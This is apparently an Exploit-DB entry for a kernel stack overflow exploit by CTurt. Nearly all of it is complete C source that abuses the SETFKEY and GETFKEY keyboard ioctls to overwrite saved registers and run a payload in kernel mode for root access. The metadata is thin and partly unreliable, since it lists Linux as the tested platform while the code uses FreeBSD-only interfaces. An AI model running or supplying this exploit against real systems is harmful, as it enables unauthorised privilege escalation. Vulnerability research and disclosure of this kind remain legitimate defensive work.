Kernel Stack Overflow Exploit

vendor:

N/A

by:

CTurt

9,3

CVSS

HIGH

Stack Overflow

119

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2020

Kernel Stack Overflow Exploit

This exploit is a kernel stack overflow exploit which uses the SETFKEY and GETFKEY ioctl calls to overflow the stack with a payload. The payload is then executed in kernel mode, allowing the attacker to gain root privileges.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the kernel is always up to date with the latest security patches.

Source

Exploit-DB raw data:

#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>

int (*kprintf)(const char *fmt, ...);
char *ostype;

uint64_t originalRip;
uint64_t originalRbp;

void *resolve(char *name) {
	struct kld_sym_lookup ksym;
	
	ksym.version = sizeof(ksym);
	ksym.symname = name;
	
	if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
		perror("kldsym");
		exit(1);
	}
	
	printf("  [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
	return (void *)ksym.symvalue;
}

void payload(void) {
	kprintf("  [+] Entered kernel payload\n");
	
	strcpy(ostype, "CTurt  ");
	
	__asm__ volatile("swapgs; sysret");
}

// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
	fkeyarg_t fkey;
	
	fkey.keynum = index;
	fkey.flen = size;
	memset(&fkey.keydef, 0, 16);
	
	ioctl(0, SETFKEY, &fkey);
}

// Copy the heap onto the stack
void stackOverflow(int index) {
	fkeyarg_t fkey;
	
	fkey.keynum = index;
	fkey.flen = 16;
	memset(&fkey.keydef, 0, 16);
	
	ioctl(0, GETFKEY, &fkey);
}

int main(void) {
	int result, i;
	fkeyarg_t fkey;
	
	uint32_t ripLower4 = 0x808312cd; // jmp rbp
	uint64_t rbp = (uint64_t)payload;
	
	
	kprintf = resolve("printf");
	ostype = resolve("ostype");
	
	
	printf("  [+] Set full length for key 10\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, SETFKEY, &fkey);
	
	
	printf("  [+] Set bad length and perform heap overflow\n");
	heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));
	
	
	printf("  [+] Prepare stack overflow memory\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, GETFKEY, &fkey);
	originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4);
	originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12);
	
	printf("  [+] Original rip: %#lx\n", originalRip);
	printf("  [+] Original rbp: %#lx\n", originalRbp);
	
	*(uint64_t *)((char *)&fkey.keydef + 4) = rbp;
	*(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4;
	ioctl(0, SETFKEY, &fkey);
	
	
	printf("  [+] Trigger stack overflow\n");
	fflush(stdout);
	
	stackOverflow(0);
	
	
	return 0;
}